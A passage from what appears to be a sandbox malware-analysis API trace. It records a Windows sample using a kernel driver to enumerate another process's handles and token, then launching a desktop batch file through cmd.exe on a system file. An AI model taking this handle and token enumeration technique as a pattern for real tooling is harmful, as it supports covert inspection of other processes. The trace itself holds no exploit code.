ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.749] ObfDereferenceObject (Object=0xfffffa80026af8d0) returned 0x1 [0123.749] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.750] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.750] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0123.750] PsLookupProcessByProcessId (in: ProcessId=0xf80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.750] PsAcquireProcessExitSynchronization () returned 0x0 [0123.750] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0) [0123.750] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038c7af0, HandleInformation=0x0) returned 0x0 [0123.750] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.750] PsReleaseProcessExitSynchronization () returned 0x2 [0123.750] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0123.750] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.750] ObfDereferenceObject (Object=0xfffffa80038c7af0) returned 0x3 [0123.750] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.750] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.750] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xf88) returned 0xc0 [0123.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.750] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80039e2b30, HandleInformation=0x0) returned 0x0 [0123.750] ObOpenObjectByPointer (in: Object=0xfffffa80039e2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.750] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x25 [0123.750] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.750] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.750] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.750] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.750] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.751] CloseHandle (hObject=0xc8) returned 1 [0123.752] CloseHandle (hObject=0xc0) returned 1 [0123.752] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.752] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0123.752] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.752] PsAcquireProcessExitSynchronization () returned 0x0 [0123.752] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0123.752] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038c7af0, HandleInformation=0x0) returned 0x0 [0123.752] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.752] PsReleaseProcessExitSynchronization () returned 0x2 [0123.752] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x23 [0123.752] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.752] ObfDereferenceObject (Object=0xfffffa80038c7af0) returned 0x3 [0123.752] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.752] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.752] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.752] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.752] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.752] PsAcquireProcessExitSynchronization () returned 0x0 [0123.752] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0123.752] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024e2cf0, HandleInformation=0x0) returned 0x0 [0123.752] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.752] PsReleaseProcessExitSynchronization () returned 0x2 [0123.752] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x23 [0123.752] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.752] ObfDereferenceObject (Object=0xfffffa80024e2cf0) returned 0x1 [0123.752] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.752] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.752] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.752] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x114, lpOverlapped=0x0) returned 1 [0123.752] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.752] PsAcquireProcessExitSynchronization () returned 0x0 [0123.752] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0123.752] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80039124a0, HandleInformation=0x0) returned 0x0 [0123.752] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.752] PsReleaseProcessExitSynchronization () returned 0x2 [0123.752] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x23 [0123.752] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.753] ObfDereferenceObject (Object=0xfffffa80039124a0) returned 0x1 [0123.753] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.753] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.753] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.753] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0123.753] PsLookupProcessByProcessId (in: ProcessId=0xf88, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.753] PsAcquireProcessExitSynchronization () returned 0x0 [0123.753] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880044355d0) [0123.753] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c04760, HandleInformation=0x0) returned 0x0 [0123.753] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.753] PsReleaseProcessExitSynchronization () returned 0x2 [0123.753] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x23 [0123.753] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa800371b7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800371b7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.753] ObfDereferenceObject (Object=0xfffffa8003c04760) returned 0x3 [0123.753] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.753] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.753] GetLastError () returned 0x5 [0123.753] SetLastError (dwErrCode=0x5) [0123.753] GetLastError () returned 0x5 [0123.753] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1000) returned 0x280b20 [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.754] SetLastError (dwErrCode=0x5) [0123.754] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.755] GetLastError () returned 0x5 [0123.755] SetLastError (dwErrCode=0x5) [0123.756] GetVersion () returned 0x1db10106 [0123.756] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0123.756] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 0 [0123.757] WriteFile (in: hFile=0x4, lpBuffer=0x12e900*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x12e220, lpOverlapped=0x0 | out: lpBuffer=0x12e900*, lpNumberOfBytesWritten=0x12e220*=0x1d, lpOverlapped=0x0) returned 1 [0123.758] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ffe0 | out: hHeap=0x240000) returned 1 [0123.758] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0123.758] RtlExitUserProcess (ExitCode=0x1) [0123.759] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25f050 | out: hHeap=0x240000) returned 1 [0123.776] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) Thread: id = 815 os_tid = 0xf90 Process: id = "219" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x23f57000" os_pid = "0xf94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 816 os_tid = 0xf98 [0120.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fafc | out: lpSystemTimeAsFileTime=0x26fafc*(dwLowDateTime=0xeb2f44c0, dwHighDateTime=0x1d5d06a)) [0120.385] GetCurrentProcessId () returned 0xf94 [0120.385] GetCurrentThreadId () returned 0xf98 [0120.385] GetTickCount () returned 0x1165b0c [0120.385] QueryPerformanceCounter (in: lpPerformanceCount=0x26faf4 | out: lpPerformanceCount=0x26faf4*=26233730658) returned 1 [0120.386] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0120.386] __set_app_type (_Type=0x1) [0120.386] __p__fmode () returned 0x76be31f4 [0120.386] __p__commode () returned 0x76be31fc [0120.386] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0120.387] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0120.387] GetCurrentThreadId () returned 0xf98 [0120.387] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf98) returned 0x60 [0120.387] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0120.387] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0120.387] SetThreadUILanguage (LangId=0x0) returned 0x409 [0120.388] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0120.388] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26fa8c | out: phkResult=0x26fa8c*=0x0) returned 0x2 [0120.388] VirtualQuery (in: lpAddress=0x26fac3, lpBuffer=0x26fa5c, dwLength=0x1c | out: lpBuffer=0x26fa5c*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0120.388] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26fa5c, dwLength=0x1c | out: lpBuffer=0x26fa5c*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0120.388] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26fa5c, dwLength=0x1c | out: lpBuffer=0x26fa5c*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0120.388] VirtualQuery (in: lpAddress=0x173000, lpBuffer=0x26fa5c, dwLength=0x1c | out: lpBuffer=0x26fa5c*(BaseAddress=0x173000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0120.388] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26fa5c, dwLength=0x1c | out: lpBuffer=0x26fa5c*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0120.389] GetConsoleOutputCP () returned 0x1b5 [0120.389] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0120.389] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0120.389] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.389] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0120.390] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.390] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0120.390] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.390] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0120.391] _get_osfhandle (_FileHandle=0) returned 0x3 [0120.391] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0120.391] _get_osfhandle (_FileHandle=0) returned 0x3 [0120.391] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0120.391] GetEnvironmentStringsW () returned 0x684070* [0120.391] GetProcessHeap () returned 0x670000 [0120.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xaca) returned 0x684b48 [0120.391] FreeEnvironmentStringsW (penv=0x684070) returned 1 [0120.392] GetProcessHeap () returned 0x670000 [0120.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4) returned 0x680d28 [0120.392] GetEnvironmentStringsW () returned 0x684070* [0120.392] GetProcessHeap () returned 0x670000 [0120.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xaca) returned 0x685620 [0120.392] FreeEnvironmentStringsW (penv=0x684070) returned 1 [0120.392] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e9fc | out: phkResult=0x26e9fc*=0x68) returned 0x0 [0120.392] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x0, lpData=0x26ea08*=0x0, lpcbData=0x26ea00*=0x1000) returned 0x2 [0120.392] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x1, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.392] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x0, lpData=0x26ea08*=0x1, lpcbData=0x26ea00*=0x1000) returned 0x2 [0120.392] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x0, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.392] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x40, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x40, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x0, lpData=0x26ea08*=0x40, lpcbData=0x26ea00*=0x1000) returned 0x2 [0120.393] RegCloseKey (hKey=0x68) returned 0x0 [0120.393] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e9fc | out: phkResult=0x26e9fc*=0x68) returned 0x0 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x0, lpData=0x26ea08*=0x40, lpcbData=0x26ea00*=0x1000) returned 0x2 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x1, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x0, lpData=0x26ea08*=0x1, lpcbData=0x26ea00*=0x1000) returned 0x2 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x0, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x9, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x4, lpData=0x26ea08*=0x9, lpcbData=0x26ea00*=0x4) returned 0x0 [0120.393] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ea04, lpData=0x26ea08, lpcbData=0x26ea00*=0x1000 | out: lpType=0x26ea04*=0x0, lpData=0x26ea08*=0x9, lpcbData=0x26ea00*=0x1000) returned 0x2 [0120.393] RegCloseKey (hKey=0x68) returned 0x0 [0120.393] time (in: timer=0x0 | out: timer=0x0) returned 0x5e27110a [0120.393] srand (_Seed=0x5e27110a) [0120.393] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"\"" [0120.393] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"\"" [0120.394] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0120.394] GetProcessHeap () returned 0x670000 [0120.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x210) returned 0x684070 [0120.394] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x684078, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0120.395] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0120.395] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0120.395] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0120.395] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0120.395] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0120.395] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0120.395] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0120.395] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0120.395] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0120.395] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0120.395] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0120.395] SetEnvironmentVariableW (lpName="PROMPT", 